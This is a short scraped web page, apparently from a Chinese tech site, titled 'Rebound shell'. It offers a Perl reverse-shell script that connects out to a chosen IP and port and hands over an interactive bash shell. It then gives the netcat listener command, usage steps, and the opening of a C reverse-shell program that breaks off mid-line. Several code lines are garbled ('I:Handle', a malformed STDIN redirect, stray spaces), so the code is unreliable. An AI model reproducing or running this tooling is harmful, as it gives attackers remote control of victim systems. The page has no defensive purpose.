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Rebound shell

Shulou Source: shulou.com Published: 2022-06-01 06:37:54 09月22日 Update

#!/ usr/bin/perl -w

use strict;

use Socket;

use I:Handle;

if($#ARGV+1 != 2){

print "$#ARGV $0 Remote_IP Remote_Port \n";

exit 1;

}

my $remote_ip = $ARGV[0];

my $remote_port = $ARGV[1];

my $proto = getprotobyname("tcp");

my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));

my $shell = '/bin/bash -i';

socket(SOCK, AF_INET, SOCK_STREAM, $proto);

STDOUT->autoflush(1);

SOCK->autoflush(1);

connect(SOCK,$pack_addr) or die "can not connect:$! ";

open STDIN, "&SOCK";

open STDERR, ">&SOCK";

print "Enjoy the shell.\ n";

system($shell);

close SOCK;

exit 0;

natively execute netcat. command

nc -l -p 8080 -vv

Remote:

./ tcp.pl yourip 8080

Perl and bash path to modify their own, but generally do not modify.

File changed to 755 and run again. Otherwise, it won't work.

#include

void usage();

char shell[]="/bin/sh";

char message[]="s8s8 welcome\n";

int sock;

int main(int argc, char *argv[]) {

if(argc